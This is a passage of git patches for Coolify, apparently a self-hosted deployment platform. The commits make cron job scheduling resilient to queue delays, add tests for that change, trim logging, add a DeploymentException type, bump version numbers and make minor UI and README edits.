if ($sentinelOutOfSync) { // Dispatch ServerCheckJob if Sentinel is out of sync - if ($this->shouldRunNow($this->checkFrequency, $serverTimezone)) { + if ($this->shouldRunNow($this->checkFrequency, $serverTimezone, "server-check:{$server->id}")) { ServerCheckJob::dispatch($server); } } $isSentinelEnabled = $server->isSentinelEnabled(); - $shouldRestartSentinel = $isSentinelEnabled && $this->shouldRunNow('0 0 * * *', $serverTimezone); + $shouldRestartSentinel = $isSentinelEnabled && $this->shouldRunNow('0 0 * * *', $serverTimezone, "sentinel-restart:{$server->id}"); // Dispatch Sentinel restart if due (daily for Sentinel-enabled servers) if ($shouldRestartSentinel) { @@ -149,7 +150,7 @@ private function processServerTasks(Server $server): void if (isset(VALID_CRON_STRINGS[$serverDiskUsageCheckFrequency])) { $serverDiskUsageCheckFrequency = VALID_CRON_STRINGS[$serverDiskUsageCheckFrequency]; } - $shouldRunStorageCheck = $this->shouldRunNow($serverDiskUsageCheckFrequency, $serverTimezone); + $shouldRunStorageCheck = $this->shouldRunNow($serverDiskUsageCheckFrequency, $serverTimezone, "server-storage-check:{$server->id}"); if ($shouldRunStorageCheck) { ServerStorageCheckJob::dispatch($server); @@ -157,7 +158,7 @@ private function processServerTasks(Server $server): void } // Dispatch ServerPatchCheckJob if due (weekly) - $shouldRunPatchCheck = $this->shouldRunNow('0 0 * * 0', $serverTimezone); + $shouldRunPatchCheck = $this->shouldRunNow('0 0 * * 0', $serverTimezone, "server-patch-check:{$server->id}"); if ($shouldRunPatchCheck) { // Weekly on Sunday at midnight ServerPatchCheckJob::dispatch($server); @@ -167,7 +168,14 @@ private function processServerTasks(Server $server): void // Crash recovery is handled by sentinelOutOfSync → ServerCheckJob → CheckAndStartSentinelJob. } - private function shouldRunNow(string $frequency, ?string $timezone = null): bool + /** + * Determine if a cron schedule should run now. + * + * When a dedupKey is provided, uses getPreviousRunDate() + last-dispatch tracking + * instead of isDue(). This is resilient to queue delays — even if the job is delayed + * by minutes, it still catches the missed cron window. + */ + private function shouldRunNow(string $frequency, ?string $timezone = null, ?string $dedupKey = null): bool { $cron = new CronExpression($frequency); @@ -175,6 +183,29 @@ private function shouldRunNow(string $frequency, ?string $timezone = null): bool $baseTime = $this->executionTime ?? Carbon::now(); $executionTime = $baseTime->copy()->setTimezone($timezone ?? config('app.timezone')); - return $cron->isDue($executionTime); + if ($dedupKey === null) { + return $cron->isDue($executionTime); + } + + $previousDue = Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true)); + + $lastDispatched = Cache::get($dedupKey); + + if ($lastDispatched === null) { + $isDue = $cron->isDue($executionTime); + if ($isDue) { + Cache::put($dedupKey, $executionTime->toIso8601String(), 86400); + } + + return $isDue; + } + + if ($previousDue->gt(Carbon::parse($lastDispatched))) { + Cache::put($dedupKey, $executionTime->toIso8601String(), 86400); + + return true; + } + + return false; } } diff --git a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php index f820c3777..e445e9908 100644 --- a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php +++ b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php @@ -194,6 +194,55 @@ expect($result2)->toBeFalse(); }); +it('catches delayed docker cleanup when job runs past the cron minute', function () { + // Simulate a previous dispatch at :10 + Cache::put('docker-cleanup:42', Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC')->toIso8601String(), 86400); + + // Freeze time at :22 — job was delayed 2 minutes past the :20 cron window + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 22, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // isDue() would return false at :22, but getPreviousRunDate() = :20 + // lastDispatched = :10 → :20 > :10 → fires + $result = $method->invoke($job, '*/10 * * * *', 'UTC', 'docker-cleanup:42'); + + expect($result)->toBeTrue(); +}); + +it('does not double-dispatch docker cleanup within same cron window', function () { + // First dispatch at :10 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $first = $method->invoke($job, '*/10 * * * *', 'UTC', 'docker-cleanup:99'); + expect($first)->toBeTrue(); + + // Second run at :11 — should NOT dispatch (previousDue=:10, lastDispatched=:10) + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 11, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + + $second = $method->invoke($job, '*/10 * * * *', 'UTC', 'docker-cleanup:99'); + expect($second)->toBeFalse(); +}); + it('respects server timezone for cron evaluation', function () { // UTC time is 22:00 Feb 28, which is 06:00 Mar 1 in Asia/Singapore (+8) Carbon::setTestNow(Carbon::create(2026, 2, 28, 22, 0, 0, 'UTC')); diff --git a/tests/Feature/ServerManagerJobShouldRunNowTest.php b/tests/Feature/ServerManagerJobShouldRunNowTest.php new file mode 100644 index 000000000..518f05c9c --- /dev/null +++ b/tests/Feature/ServerManagerJobShouldRunNowTest.php @@ -0,0 +1,102 @@ +toIso8601String(), 86400); + + // Job runs 3 minutes late at 00:03 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 3, 0, 'UTC')); + + $job = new ServerManagerJob; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // isDue() would return false at 00:03, but getPreviousRunDate() = 00:00 today + // lastDispatched = yesterday 00:00 → today 00:00 > yesterday → fires + $result = $method->invoke($job, '0 0 * * *', 'UTC', 'sentinel-restart:1'); + + expect($result)->toBeTrue(); +}); + +it('catches delayed weekly patch check when job runs past the cron minute', function () { + // Simulate previous dispatch last Sunday at midnight + Cache::put('server-patch-check:1', Carbon::create(2026, 2, 22, 0, 0, 0, 'UTC')->toIso8601String(), 86400); + + // This Sunday at 00:02 — job was delayed 2 minutes + // 2026-03-01 is a Sunday + Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 2, 0, 'UTC')); + + $job = new ServerManagerJob; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $result = $method->invoke($job, '0 0 * * 0', 'UTC', 'server-patch-check:1'); + + expect($result)->toBeTrue(); +}); + +it('catches delayed storage check when job runs past the cron minute', function () { + // Simulate previous dispatch yesterday at 23:00 + Cache::put('server-storage-check:5', Carbon::create(2026, 2, 27, 23, 0, 0, 'UTC')->toIso8601String(), 86400); + + // Today at 23:04 — job was delayed 4 minutes + Carbon::setTestNow(Carbon::create(2026, 2, 28, 23, 4, 0, 'UTC')); + + $job = new ServerManagerJob; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $result = $method->invoke($job, '0 23 * * *', 'UTC', 'server-storage-check:5'); + + expect($result)->toBeTrue(); +}); + +it('does not double-dispatch within same cron window', function () { + Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 0, 0, 'UTC')); + + $job = new ServerManagerJob; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $first = $method->invoke($job, '0 0 * * *', 'UTC', 'sentinel-restart:10'); + expect($first)->toBeTrue(); + + // Next minute — should NOT dispatch again + Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 1, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + + $second = $method->invoke($job, '0 0 * * *', 'UTC', 'sentinel-restart:10'); + expect($second)->toBeFalse(); +}); From fef8e0b622706b5d7bacbbecc696d9c9eb783cdd Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 20 Mar 2026 15:57:26 +0100 Subject: [PATCH 236/305] refactor: remove verbose logging and use explicit exception types - Remove verbose warning/debug logs from ServerConnectionCheckJob and ContainerStatusAggregator - Silently ignore expected errors (e.g., deleted Hetzner servers) - Replace generic RuntimeException with DeploymentException for deployment command failures - Catch both RuntimeException and DeploymentException in command retry logic --- app/Jobs/ServerConnectionCheckJob.php | 11 ++--------- app/Services/ContainerStatusAggregator.php | 14 -------------- app/Traits/ExecuteRemoteCommand.php | 5 +++-- 3 files changed, 5 insertions(+), 25 deletions(-) diff --git a/app/Jobs/ServerConnectionCheckJob.php b/app/Jobs/ServerConnectionCheckJob.php index d4a499865..2c73ae43e 100644 --- a/app/Jobs/ServerConnectionCheckJob.php +++ b/app/Jobs/ServerConnectionCheckJob.php @@ -108,10 +108,6 @@ public function handle() public function failed(?\Throwable $exception): void { if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) { - Log::warning('ServerConnectionCheckJob timed out', [ - 'server_id' => $this->server->id, - 'server_name' => $this->server->name, - ]); $this->server->settings->update([ 'is_reachable' => false, 'is_usable' => false, @@ -131,11 +127,8 @@ private function checkHetznerStatus(): void $serverData = $hetznerService->getServer($this->server->hetzner_server_id); $status = $serverData['status'] ?? null; - } catch (\Throwable $e) { - Log::debug('ServerConnectionCheck: Hetzner status check failed', [ - 'server_id' => $this->server->id, - 'error' => $e->getMessage(), - ]); + } catch (\Throwable) { + // Silently ignore — server may have been deleted from Hetzner. } if ($this->server->hetzner_server_status !== $status) { $this->server->update(['hetzner_server_status' => $status]); diff --git a/app/Services/ContainerStatusAggregator.php b/app/Services/ContainerStatusAggregator.php index 2be36d905..8859a9980 100644 --- a/app/Services/ContainerStatusAggregator.php +++ b/app/Services/ContainerStatusAggregator.php @@ -54,13 +54,6 @@ public function aggregateFromStrings(Collection $containerStatuses, int $maxRest $maxRestartCount = 0; } - if ($maxRestartCount > 1000) { - Log::warning('High maxRestartCount detected', [ - 'maxRestartCount' => $maxRestartCount, - 'containers' => $containerStatuses->count(), - ]); - } - if ($containerStatuses->isEmpty()) { return 'exited'; } @@ -138,13 +131,6 @@ public function aggregateFromContainers(Collection $containers, int $maxRestartC $maxRestartCount = 0; } - if ($maxRestartCount > 1000) { - Log::warning('High maxRestartCount detected', [ - 'maxRestartCount' => $maxRestartCount, - 'containers' => $containers->count(), - ]); - } - if ($containers->isEmpty()) { return 'exited'; } diff --git a/app/Traits/ExecuteRemoteCommand.php b/app/Traits/ExecuteRemoteCommand.php index a4ea6abe5..72e0adde8 100644 --- a/app/Traits/ExecuteRemoteCommand.php +++ b/app/Traits/ExecuteRemoteCommand.php @@ -3,6 +3,7 @@ namespace App\Traits; use App\Enums\ApplicationDeploymentStatus; +use App\Exceptions\DeploymentException; use App\Helpers\SshMultiplexingHelper; use App\Models\Server; use Carbon\Carbon; @@ -103,7 +104,7 @@ public function execute_remote_command(...$commands) try { $this->executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors); $commandExecuted = true; - } catch (\RuntimeException $e) { + } catch (\RuntimeException|DeploymentException $e) { $lastError = $e; $errorMessage = $e->getMessage(); // Only retry if it's an SSH connection error and we haven't exhausted retries @@ -233,7 +234,7 @@ private function executeCommandWithProcess($command, $hidden, $customType, $appe $error = $process_result->output() ?: 'Command failed with no error output'; } $redactedCommand = $this->redact_sensitive_info($command); - throw new \RuntimeException("Command execution failed (exit code {$process_result->exitCode()}): {$redactedCommand}\nError: {$error}"); + throw new DeploymentException("Command execution failed (exit code {$process_result->exitCode()}): {$redactedCommand}\nError: {$error}"); } } } From 1511797e0a03a29349b1d71e9015ea00a713feff Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 20 Mar 2026 15:59:23 +0100 Subject: [PATCH 237/305] fix(docker): skip cleanup stale warning on cloud instances --- resources/views/livewire/server/docker-cleanup.blade.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/resources/views/livewire/server/docker-cleanup.blade.php b/resources/views/livewire/server/docker-cleanup.blade.php index 2fd8fc2ab..ac48651ae 100644 --- a/resources/views/livewire/server/docker-cleanup.blade.php +++ b/resources/views/livewire/server/docker-cleanup.blade.php @@ -27,7 +27,7 @@
    Configure Docker cleanup settings for your server.
    - @if ($this->isCleanupStale) + @if (!isCloud() && $this->isCleanupStale)

    The last Docker cleanup ran {{ $this->lastExecutionTime ?? 'unknown time' }} ago, From 820ee1c03cbadcf5a5e269be7a37e8a71d5e2022 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Mar 2026 10:34:58 +0100 Subject: [PATCH 238/305] docs(sponsors): update Brand.dev to Context.dev --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index b7aefe16a..73af2a18c 100644 --- a/README.md +++ b/README.md @@ -70,7 +70,7 @@ ### Big Sponsors * [Arcjet](https://arcjet.com?ref=coolify.io) - Advanced web security and performance solutions * [BC Direct](https://bc.direct?ref=coolify.io) - Your trusted technology consulting partner * [Blacksmith](https://blacksmith.sh?ref=coolify.io) - Infrastructure automation platform -* [Brand.dev](https://brand.dev?ref=coolify.io) - API to personalize your product with logos, colors, and company info from any domain +* [Context.dev](https://context.dev?ref=coolify.io) - API to personalize your product with logos, colors, and company info from any domain * [ByteBase](https://www.bytebase.com?ref=coolify.io) - Database CI/CD and Security at Scale * [CodeRabbit](https://coderabbit.ai?ref=coolify.io) - Cut Code Review Time & Bugs in Half * [COMIT](https://comit.international?ref=coolify.io) - New York Times award–winning contractor From 069bf4cc82c1d534d0ef0df3d3d4679c1f827a36 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Mar 2026 10:35:16 +0100 Subject: [PATCH 239/305] chore(versions): bump coolify, sentinel, and traefik versions --- other/nightly/versions.json | 8 ++++---- versions.json | 8 ++++---- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/other/nightly/versions.json b/other/nightly/versions.json index 7564f625e..57bb21869 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -1,7 +1,7 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.469" + "version": "4.0.0-beta.470" }, "nightly": { "version": "4.0.0" @@ -13,17 +13,17 @@ "version": "1.0.11" }, "sentinel": { - "version": "0.0.19" + "version": "0.0.20" } }, "traefik": { - "v3.6": "3.6.5", + "v3.6": "3.6.11", "v3.5": "3.5.6", "v3.4": "3.4.5", "v3.3": "3.3.7", "v3.2": "3.2.5", "v3.1": "3.1.7", "v3.0": "3.0.4", - "v2.11": "2.11.32" + "v2.11": "2.11.40" } } diff --git a/versions.json b/versions.json index 7564f625e..57bb21869 100644 --- a/versions.json +++ b/versions.json @@ -1,7 +1,7 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.469" + "version": "4.0.0-beta.470" }, "nightly": { "version": "4.0.0" @@ -13,17 +13,17 @@ "version": "1.0.11" }, "sentinel": { - "version": "0.0.19" + "version": "0.0.20" } }, "traefik": { - "v3.6": "3.6.5", + "v3.6": "3.6.11", "v3.5": "3.5.6", "v3.4": "3.4.5", "v3.3": "3.3.7", "v3.2": "3.2.5", "v3.1": "3.1.7", "v3.0": "3.0.4", - "v2.11": "2.11.32" + "v2.11": "2.11.40" } } From f0ed05b399bdfa9697423f4cfbab5b8722529519 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Mar 2026 10:35:47 +0100 Subject: [PATCH 240/305] fix(docker): log failed cleanup attempts when server is not functional --- app/Jobs/DockerCleanupJob.php | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/app/Jobs/DockerCleanupJob.php b/app/Jobs/DockerCleanupJob.php index a8a3cb159..16f3d88ad 100644 --- a/app/Jobs/DockerCleanupJob.php +++ b/app/Jobs/DockerCleanupJob.php @@ -46,14 +46,20 @@ public function __construct( public function handle(): void { try { - if (! $this->server->isFunctional()) { - return; - } - $this->execution_log = DockerCleanupExecution::create([ 'server_id' => $this->server->id, ]); + if (! $this->server->isFunctional()) { + $this->execution_log->update([ + 'status' => 'failed', + 'message' => 'Server is not functional (unreachable, unusable, or disabled)', + 'finished_at' => Carbon::now()->toImmutable(), + ]); + + return; + } + $this->usageBefore = $this->server->getDiskUsage(); if ($this->manualCleanup || $this->server->settings->force_docker_cleanup) { From 89f2b83104cce1b4117b28539c5abb57d9b3522d Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 23 Mar 2026 10:36:08 +0100 Subject: [PATCH 241/305] style(modal-confirmation): improve mobile responsiveness Make modal full-screen on mobile devices with responsive padding, border radius, and dimensions. Modal is now full-screen on small screens and constrained to max-width/max-height on larger screens. --- resources/views/components/modal-confirmation.blade.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/resources/views/components/modal-confirmation.blade.php b/resources/views/components/modal-confirmation.blade.php index 615512b94..c1e8a3e54 100644 --- a/resources/views/components/modal-confirmation.blade.php +++ b/resources/views/components/modal-confirmation.blade.php @@ -190,7 +190,7 @@ class="relative w-auto h-auto"> @endif